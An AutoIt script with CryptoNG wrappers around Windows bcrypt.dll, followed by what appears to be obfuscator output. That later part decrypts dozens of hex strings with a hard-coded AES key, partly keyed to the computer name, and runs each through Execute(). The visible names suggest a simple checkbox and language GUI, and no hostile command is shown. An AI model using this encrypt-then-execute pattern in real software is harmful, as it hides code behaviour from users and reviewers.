$aResult=DllCall($__ghBcryptDll,"int","BCryptGenerateSymmetricKey","handle",$hAlgorithmProvider,"handle*", Null ,"ptr", Null ,"ulong", 0 ,"ptr",DllStructGetPtr($tSecretBuffer),"ulong",DllStructGetSize($tSecretBuffer),"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError,- 1 ) EndIf $iStatusCode=$aResult[0] $hKey=$aResult[2] If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode,- 1 ) EndIf Return $hKey EndFunc Func __CryptoNG_BCryptGetProperty($hObject,$sProperty) Local $iError= 0,$iStatusCode= 0,$iBufferLength= 0 Local $tBuffer="" Local $aResult[0] $aResult=DllCall($__ghBcryptDll,"int","BCryptGetProperty","handle",$hObject,"wstr",$sProperty,"ptr", Null ,"ulong", 0 ,"ulong*", 0 ,"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError,Binary("")) EndIf $iStatusCode=$aResult[0] $iBufferLength=$aResult[5] If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode,Binary("")) EndIf $tBuffer=DllStructCreate(StringFormat("byte[%i]",$iBufferLength)) $aResult=DllCall($__ghBcryptDll,"int","BCryptGetProperty","handle",$hObject,"wstr",$sProperty,"ptr",DllStructGetPtr($tBuffer),"ulong",DllStructGetSize($tBuffer),"ulong*", 0 ,"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError,Binary("")) EndIf $iStatusCode=$aResult[0] If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode,Binary("")) EndIf Return $tBuffer EndFunc Func __CryptoNG_BCryptOpenEncryptionAlgorithmProvider($sAlgorithmId,$sProvider="Microsoft Primitive Provider") Local $aResult[0] Local $iError= 0,$iStatusCode= 0 Local $hAlgorithmProvider= 0 $aResult=DllCall($__ghBcryptDll,"int","BCryptOpenAlgorithmProvider","handle*", 0 ,"wstr",$sAlgorithmId,"wstr",$sProvider,"ulong", 0 ) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 2 ,$iError,- 1 ) EndIf $iStatusCode=$aResult[0] $hAlgorithmProvider=$aResult[1] If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 3 ,$iStatusCode,- 1 ) EndIf Return $hAlgorithmProvider EndFunc Func __CryptoNG_BCryptOpenHashAlgorithmProvider($sAlgorithmId,$bHMAC= False,$sProvider="Microsoft Primitive Provider") Local $aResult[0] Local $iError= 0,$iStatusCode= 0 Local $hAlgorithmProvider= 0 $aResult=DllCall($__ghBcryptDll,"int","BCryptOpenAlgorithmProvider","handle*", 0 ,"wstr",$sAlgorithmId,"wstr",$sProvider,"ulong",($bHMAC)?($CNG_BCRYPT_ALG_HANDLE_HMAC_FLAG):( 0 )) If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 2 ,$iError,- 1 ) EndIf $iStatusCode=$aResult[0] $hAlgorithmProvider=$aResult[1] If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 3 ,$iStatusCode,- 1 ) EndIf Return $hAlgorithmProvider EndFunc Func __CryptoNG_BCryptSetProperty($hObject,$sProperty,$vValue) Local $iError= 0,$iStatusCode= 0 Local $aResult[0] Switch VarGetType($vValue) Case "String" $aResult=DllCall($__ghBcryptDll,"int","BCryptSetProperty","handle",$hObject,"wstr",$sProperty,"wstr",$vValue,"ulong",BinaryLen($vValue),"ulong", 0 ) Case Else $__gsLastErrorMessage="An unrecognized variable type was encountered in __CryptoNG_BCryptSetProperty () ("&VarGetType($vValue)& _ ")" Return SetError(- 1 ,$iError, False ) EndSwitch If @error Then $iError=@error $__gsLastErrorMessage=__CryptoNG_DllCallErrorMessage($iError) Return SetError( 1 ,$iError, False ) EndIf $iStatusCode=$aResult[0] If $iStatusCode<>$CNG_STATUS_SUCCESS Then $__gsLastErrorMessage=__CryptoNG_StatusMessage($iStatusCode) Return SetError( 2 ,$iStatusCode, False ) EndIf Return True EndFunc Func __CryptoNG_ConvertByteBuffer($tByteBuffer,$sByteBufferType) If VarGetType($tByteBuffer)<>"dllstruct" Then $__gsLastErrorMessage="Invalid $tBuffer passed to __CryptoNG_ConvertByteBuffer () - not a DllStruct." Return SetError( 1 , 0 ,"") EndIf Switch $sByteBufferType Case "ulong" Return DllStructGetData(DllStructCreate("ulong",DllStructGetPtr($tByteBuffer)), 1 ) Case "str" Return _WinAPI_GetString(DllStructGetPtr($tByteBuffer), False ) Case "wstr" Return _WinAPI_GetString(DllStructGetPtr($tByteBuffer), True ) Case Else $__gsLastErrorMessage="An unrecognized $sByteBufferType passed to __CryptoNG_ConvertByteBuffer () ("&$sByteBufferType& _ ")" Return SetError( 2 , 0 ,"") EndSwitch EndFunc Func __CryptoNG_DllCallErrorMessage($iError) Local $sErrorMessage="" Switch $iError Case 1 $sErrorMessage="Unable to use the DLL file." Case 2 $sErrorMessage="Unknown return type." Case 3 $sErrorMessage="Function not found in the DLL file." Case 4 $sErrorMessage="Bad number of parameters." Case 5 $sErrorMessage="Bad parameter." Case Else $sErrorMessage="Unrecognized error. @error = "&$iError EndSwitch Return $sErrorMessage EndFunc Func __CryptoNG_Shutdown() If $__ghBcryptDll<>-1 Then DllClose($__ghBcryptDll) $__ghBcryptDll=-1 EndIf EndFunc Func __CryptoNG_Startup() If $__ghBcryptDll=-1 Then $__ghBcryptDll=DllOpen("bcrypt.dll") If $__ghBcryptDll=-1 Then $__gsLastErrorMessage="Unable to open bcrypt.dll" Return SetError( 1 , 0 , False ) EndIf OnAutoItExitRegister("__CryptoNG_Shutdown") EndIf Return SetError( 0 , 0 , True ) EndFunc Func __CryptoNG_StatusMessage($iStatusCode) Local $sStatusMessage="" Switch $iStatusCode Case $CNG_STATUS_SUCCESS $sStatusMessage="The operation completed successfully. " Case $CNG_STATUS_INVALID_PARAMETER $sStatusMessage="An invalid parameter was passed to a service or function." Case $CNG_STATUS_NO_MEMORY $sStatusMessage="Not enough virtual memory or paging file quota is available to complete the specified operation." Case $CNG_STATUS_NOT_FOUND $sStatusMessage="The object was not found." Case $CNG_STATUS_BUFFER_TOO_SMALL $sStatusMessage="The buffer is too small to contain the entry." Case $CNG_STATUS_INVALID_HANDLE $sStatusMessage="An invalid HANDLE was specified." Case $CNG_STATUS_DATA_ERROR $sStatusMessage="An error occurred in reading or writing data." Case $CNG_STATUS_NOT_SUPPORTED $sStatusMessage="The request is not supported." Case Else $sStatusMessage=StringFormat("Unrecognized status code. (%X)",$iStatusCode) EndSwitch Return $sStatusMessage EndFunc Func _VarIsVar(ByRef $a, ByRef $b) $a=$b EndFunc Func _ArrayVarIsVar(ByRef $a,$b, ByRef $c) $a[$b]=$c EndFunc Func _VarIsArrayVar(ByRef $a, ByRef $b,$c) $a=$b[$c] EndFunc Func _ArrayVarIsArrayVar(ByRef $a,$b, ByRef $c,$d) $a[$b]=$c[$d] EndFunc Func _VarIsNumber(ByRef $a,$number) $a=Number($number) EndFunc Func _ArrayVarIsNumber(ByRef $a,$b,$number) $a[$b]=Number($number) EndFunc Global $dummypwd = "" Global $CCkeytype = 2 Global $CCkey[100] Global $CCkeyhandle[100] For $cc= 0 To UBound($CCkey)- 1 $CCkey[$cc]=Null $CCkeyhandle[$cc]=Null Next $CCkey[0]="0x3CA86772DB0B25CBD8AC911792C2217A9DD04C218DAE0F4261BD76EF512838FBDE2BDA417829E56D62EDE396B376E2CC" $CCkey[1]=$dummypwd $CCkey[2]=@ComputerName Global $hAlgorithmProvider = -1 Global $sAlgorithmId = $CNG_BCRYPT_AES_ALGORITHM Global $sProvider = "Microsoft Primitive Provider" _CryptoNGinit4CC() Func _CryptoNGinit4CC() __CryptoNG_Startup() If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Unable to access bcrypt.dll"&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 1 EndIf $hAlgorithmProvider=__CryptoNG_BCryptOpenEncryptionAlgorithmProvider($sAlgorithmId,$sProvider) If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid Algorithm Provider"&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 2 EndIf If $sAlgorithmId<>$CNG_BCRYPT_RC4_ALGORITHM Then __CryptoNG_BCryptSetProperty($hAlgorithmProvider,$CNG_BCRYPT_CHAINING_MODE,$CNG_BCRYPT_CHAIN_MODE_CBC) If @error Then If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid block chaining mode"&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 5 EndIf EndIf $CCkeyhandle[ 0 ]=_CryptoNGgetHandle() OnAutoItExitRegister("_CryptoNGcleanup") EndFunc Func _CryptoNGcleanup() For $cc= 0 to UBound($CCkeyhandle)- 1 If IsPtr($CCkeyhandle[$cc]) Then __CryptoNG_BcryptDestroyKey($CCkeyhandle[$cc]) Next $CCkey=Null $CCkeyhandle=Null If $hAlgorithmProvider<>- 1 Then __CryptoNG_BcryptCloseAlgorithmProvider($hAlgorithmProvider) __CryptoNG_Shutdown() EndFunc Func _CryptoNGgetHandle($keyID=0) Local $temp=_CryptoNG_PBKDF2($CCkey[$keyID],$CCkey[$keyID], 123 ,$CNG_KEY_BIT_LENGTH_AES_192,$CNG_BCRYPT_SHA1_ALGORITHM) If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid PBKDF2 call; CNG error = "&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 1 EndIf $temp=__CryptoNG_BCryptGenerateSymmetricKey($hAlgorithmProvider,$temp) If @error Then MsgBox( 262144 + 4096 + 16 ,"Fatal CryptoNG Error","Invalid keyhandle; CNG error = "&@CR&_CryptoNG_LastErrorMessage(), 3 ) Exit 4 EndIf Return $temp EndFunc Func _MCFCNG(Const $hexstring,$index=0) Return __CryptoNG_BCryptDecrypt($sAlgorithmId,$hexstring,$CCkeyhandle[$index]) EndFunc Func _MCFCC(Const $hexstring,$index=0) Return BinaryToString(_AesDecrypt($CCkey[$index],$hexstring)) EndFunc Execute(_MCFCC("0x60FEA162A526B687F171203FCF06768F6AD6AC54E24E04C4F01F3BB4F8005A298758E45F3F39187418EDDDBBA6EED655")) Func _dummyCalls() Execute(_MCFCC("0xECCC774C4B306D30AF279C93E11BD3929474B17B93E1C59A872E5079C2A4437ACD4790A6464A916A98A1BF2656914FDE")) Execute(_MCFCC("0xD5EEB568AB0E054514260488445F56BDE61225C312B3622B063B186FAB472349C6305DE0E9CB028509C4BFF40137BDC8")) Execute(_MCFCC("0xA4617D025CBFB3B421066CF1BBB392B97CD1CF2B456BB4705E75002364D8A730D402333A3CF652F1F8CB81F71F41F88E")) Local $a=0,$b=1,$c[1] Execute(_MCFCC("0xDCE8D87E7E5D1B7114F63832A411ED73571D91F8468CB4A9D82D3C9334A258492AE3E2F845E088863FDE84B889DA0B2B")) Execute(_MCFCC("0xB4F0230C1E3C8E9844D21DDE0DF8692C6982877119AFC22760576B33561330C23497BB8E8A95856A79150DEC20B2CB70")) Execute(_MCFCC("0x58CD70D65C02361A23BF113E7CFFAAE41BC04F5C91F33FFD26B15F7625FD65B86D8AC0EAD5EB2E8375484AB765E51B33")) Execute(_MCFCC("0x5C80F9BFB1943415737F48F34FFFECE2A64E5209C2628220D973D9C1CAF25FB8C49C68199A9110217BBDE5F13933C31E3989F7E0FF85AD438C40497466878617")) Execute(_MCFCC("0x4F43810D9691EC89034B6CC01449B6FAAB9F78D451F5B95ACC8317855BD589B542F896B1F2C0B768836E4797B11D09CC")) Execute(_MCFCC("0xD64638856FB2DF1AFF4AAF988416D0E4771E992E6B4A5BB470F489C7559FD8FD6D1BC43E5417585097515582E77CC36C872DF94C8ACD8608AAF375343D028F40")) EndFunc Func _MCFCC_Init($type=0,$query=True,$useCNG=False) $CCkey[3]=Execute(_MCFCC("0xFCECCD9D3CDD3479F89CAEBB6D9EFF915D5DC60EB4F10DBE4FCE70193190D058E07E96A32FC145D647F67FB612A2FB06")) $CCkey[ 4 ]=Execute(_MCFCC("0x42ABF18FA4F03FADEB16E0283F9E6938BEE9C7A5263AB2484170DC3888EC1DA94E7E53041DBC1C9030FA5F83A00447F8A0706BDA7E724886411FBDA8C38ED8EC")) $CCkey[ 5 ]=Execute(_MCFCC("0x18AD95C274A5118DA87482B715108EBD11510DD965203FE3B1940496CE40C85649FF8BAF6FD851FDF2552D143DC58F73C97339F06991FF2E314F723084ABCEBF")) $CCkey[ 6 ]=Execute(_MCFCC("0xD5EC046D7BD2CB284863B9108646AE1DBE543CAA378F633565553F6503DC82A2CD042F79903A9A7FED86873FFDA01CB7")) $CCkey[7]=Execute(_MCFCC("0xA95048D218D34BD777B9B8E8823F3D210CD3E9E1A9691CD8BDB95EBACE1B8DA8")) $CCkey[8]=_MCFCC("0x82AD6D45B155A411F032671423C1A4E9E9CCBC0867C4FD88DEFE83977F21A7C4") If Execute(_MCFCC("0x8E76CBCC7B9CC74B71506945088C7D8C9ACAB32EE0E9D53C7D4041B7097CFC16040C572F20C9B1889A956C3E9F0DAE55")) Then $type=1 $type=Execute(_MCFCC("0xE76993569D952117842E4D135339435E231BC7149B6BD68BF407FCD76E3C795BEC212171AC104664A5FC20AFF6E8B09C")) If Execute(_MCFCC("0x082B549371866BDF99768DC680BFA4FCCCDF874205EBC36D2B3A93197EF8A5F081E5FAB2B7B17FAA41770EB7145E1E403552D7799327C24E7FCCEB25EC4C8F5C")) Then $type= 1 If Execute(_MCFCC("0x3113644D507CEF727F4165BCBF9703C993EA94C85D305F808BAD404F246FF2205C406B55F08FF945B6E28FC7CCAEE6A1")) Then $CCkey[1]=$cmdline[1] If Execute(_MCFCC("0x04E0024F4E6616EEE6FA85E3303709880D5848C0D4977265207EA702C8676B65960CD4025B7DA4A6159FFB8650BE4C5D4F444CCF30DB1C3AE7047387856663DDE1EC87DDC4EAB02E4F33265EDD830E315C3C59C20BEA099C58EAE0D3A1E5BE9F724C910C7386E605B11945EA958E411A")) Then $CCkey[$type]=Execute(_MCFCC("0x2A960A5AFD86AAD09D8123D9AE0D34CC0766DDAB33DE6E53368395DBA5AD94669CF7FED0AED975A8FE2EB85257B830432685D7AA4F762D89034EC215192E944D85F690954F9BC29F69637304CD5BEEB1B5C90FAA917D7A35BF73AFA9F6D7E5CED96E55C7D58245046D39C0321ACC92DF9A53E544FBFC41FD10EF09E1F2021E19")) $CCkeytype=$type Switch $useCNG Case True For $cc= 1 to Execute(_MCFCC("0x39361FCECF19A773A4FC7595CBB2696B0CF88897C5F058FFC57F8101C61BB5C8"))- 1 If Execute(_MCFCC("0x5759D57CBE95D5F2A2AEFE6F0BB204FCCFDF8D56DAAB134188C1A2FF57CA8907B630CCDB292F383863306F305AB40357")) Then Execute(_MCFCC("0x924F8089B16BB763A407A66184D79DCC2ADE9E0DA6D4C98E17200B44C4D2CB5402C6ACB3168417F907BCC87CE851BD7AF5A3E7C55C525090ED9F5CA9E65DE1DB16E4F11430F0913363956F13D023726E")) If Execute(_MCFCC("0xB6C241FA764A588AB069F6E32EC936180C09F6BF982518919E4F80AE42640438DAB2F9609B358237D5E16456F6ADCE1D")) Then $CCkeyhandle[$cc]=Execute(_MCFCC("0x7E4836530285180471416279DEEE5C1A34EE6A345DE5CD8EA850C7A31294B07B9F2E278BBEEB85F138F085419DC994A5")) Next Case Else Execute(_MCFCC("0xDFD606793259291DDE7DDF999CFB2F03DE5E870624A60CCF9C249553FE417357EF1646B68206A61CB3B12593F7280A5E")) EndSwitch EndFunc Global $dictionary[5] $hGUI=Execute(_MCFCC("0xADC43D6ECEF50B957CE2FC750DA6EBB0E07923B45741F2DFDA832D064B87930EA8CD417B61A04FA53F334BCFD047DD66C46ACBFEB6045381ABF80CF464617F5E",8)) $idCheckbox=Execute(_MCFCC("0x4F54A79946529C2F6FE4A038D6D0D85ED198C338F4F2223F226876006E443BB4C4FB8CB308C6B2606F9C98B3BF65B25F39253D2C25146CDB1E1B9798FD31D679EAF340431687629C3F5DBD314045F751",8)) $Close=Execute(_MCFCC("0x28F91FE911EB96D82C9A83C787C6453802A2637D0B9A3559E099DC087DB11EE08459E4FA6261F5EF41FE0E8EB8BF8058DF79C62F42F9D3F1A06506BB6574B9D6",8)) Execute(_MCFCC("0xC049B1DBA08DAC92DF358E049D81B221372F45C20D494FA0E45DABD476FD91E5BD69BD281BEF7974A64EDAA32A82396F5CE307B4CEB539003BC95C7D982B180D",8)) $string=_MCFCC("0x3BF796183B4838FD6890C9F9E39013C6F24ABAF4F64FA3765ADBD3FFE583BE83164B21B13A2E7958AAD8E5A9E31AA2B41790CB2277890469FCFC8B61EC08FCBB",8) $s_language=Execute(_MCFCC("0xDF701D89955F720052B43789DD6492B3C2D75D591E34C4B011D8A47B484CC3537FA4313DCA45D48074BC8C57052546DA",8)) If Not @error Then If Execute(_MCFCC("0xF05202C70DA67E0882D38076479E8457DB04C4C34E6CBC10452A4AD88CB75A6D6101B3D482BEF47DC184DD6D37DFA5CC",8)) Then Execute(_MCFCC("0x8E7C405BDFFF7A169F39BDB1B295DFE96C51916ECC4B6BFF0427A48D9D4A98BFAF8B176773D9DD6A2B7B60F36C95005C62D65967956CDFC424E16A26A9EEA9B2",8)) If Execute(_MCFCC("0xA87B18E7D1351D8C294A521B14768EE3CE39304951950EBA69A37B37A1F48C1A39EC04F3E0B4204FC7BBE94F7F1384A1",8)) Then Execute(_MCFCC("0x7BF9B123B13479AE0F9EA891AF0660893855F080270070066F4FE6D74870A5B796CC06A2EB09261B2E13A9190AA897BE9F983C5266EA40A751FC221EB1FE413C",8)) Else Execute(_MCFCC("0xF4E557A2CF1769034EA39EDE1381FFE6C9236862E72F6D87A7C353BE53C4BAA1D505742084B40EB3C56821DC0010B6D337368C81AAB93D0FFE46258B1BA11102",8)) Execute(_MCFCC("0xBE66DB9C68D9F8A1DE2E9D652653383484BC332E990B0A9C944B0A675F0FA72CAA0773E12D65ABF813C6E2AF3C2534E9FF8CCBCC399BC186A0E067030BA8C0E42B0CF972F95070A443487CCD6C174DCB",8)) $s_language=_MCFCC("0x906879C4754277768ACF4EE785D6B39AA1D5D908505E317DC37EF83EAF97DC0A",8) EndIf For $i= 0 To Execute(_MCFCC("0x554502AEDA9EEC1B526924FF32A37E1364B9BFF76F173C0D0E964B1EA3C847D164651F20553F4E73D05581648FB1E7A5",8))- 1 $dictionary[$i]=Execute(_MCFCC("0x4C9B0DBB42184A3A0CDA955552E3A24DBB5566533070C58077C42D8537087C3B8104390A2437332C8C435B497FC1CCDB",8)) Next Execute(_MCFCC("0xACA5AA4A0392E9A8DB18C6FD4B5516BAE8AC845D5E64C877D2255D0FACCB7A7A62F0D0FD5AB4E950A256C0D96953213E",8)) Execute(_MCFCC("0x64E6BBDEFE1C374E7F6861E0DFB43189089FAE7C119500E94F32872E13367960",8)) Func _translate() Execute(_MCFCC("0xAB3C034A0E6405A816A690D1CDE8166CE925430E9152727460BC7BA8E59D5AE45A68BE3C31972F5B608C659D13A831837BD1BFB7D351548BCB91D6EB452FFB05",8)) Execute(_MCFCC("0x1C14B87832377DB9816AD7A9923ABBCEA680DC1EB519FAC740BD8C4C14937AE432EE10E98A86A67AFF1B2967540BBDDAE2BD081B0334792780AE83F18900B0924E2EFB18439780AD417F989931AED5DD",8)) EndFunc Func Example() While Execute(_MCFCC("0x77D602759A963765EC80A824378EA15261495D340EF4615C5F5D24DA828785DE",8)) Switch Execute(_MCFCC("0x44DCC1268163DE77242EC3F67878F87A61A8C11F014247EB1E3AF3A806986F91",8)) Case $GUI_EVENT_CLOSE,$Close ExitLoop Case $idCheckbox If Execute(_MCFCC("0x4753818809D2E7653252EE388A23C618741258E9F1D92195FF13B0E89ABB24D118CEC13BD8F72E5E900D09ADF0CFA69E",8)) Then Execute(_MCFCC("0x4813152F8AF0041D15F8D4C90A9EB0126DFB007A5819AF98B3B5487E05700615A85E26EA9949E58DD3356F2C162F7F3B01D8E09727B6B6BDA999B1D3FE676DBFFF16D2403247F3024822AED39CB0D271",8)) Execute(_MCFCC("0x8198DC9B33F897E694D226972BB9A9B363D8D8FFDE7D0BC781D77696A2CAA8A4E576B143E5B9C4912E16B130FE7DF1DACE8C4B7FA67EB249AFC616F068382367",8)) Else Execute(_MCFCC("0x0A1EB2C12775BAA3E4C90886222D22A5E9AD5CA7986FFA1E51BA94E1FE608C7FC44EB3B38C3CF24293FD3F8AEB6A77DB25C7E2517AA0D78F695E5A10BB4CE0B690F1D7745C4AA554BA81089C1DDDE5C0",8)) Execute(_MCFCC("0x7C18792192E58CF5A2CB1FE7CA6837C758793A668B7B830BE0C824F22FE259A8108D47FA8C56A1D3D7F9D5E96612CE1B7D95AE5E743B394FC23E1CD8E57AD305D98D2B172DCBC58983D822DED4175CE4",8)) EndIf EndSwitch WEnd Execute(_MCFCC("0xB940708F250471D0FFA87345B7E89F667B4040F2EA3FFE3CA6BEA8BDBCEF14B5A45610EB109B5E0DC2EF77DD86DAF538",8)) EndFunc Func _IsChecked($idControlID) Return Execute(_MCFCC("0x71F2219BB78376206717810172BF642EC083EF200A61FC56F7221564B7AFE6D06397C0DA6A95CA07D2F1B109084D0EF295FB7C8926E0FAA498C248BD3E9D83D821BE96A4FF141EC8C4BCACA0FD63651F",8))=$GUI_CHECKED EndFunc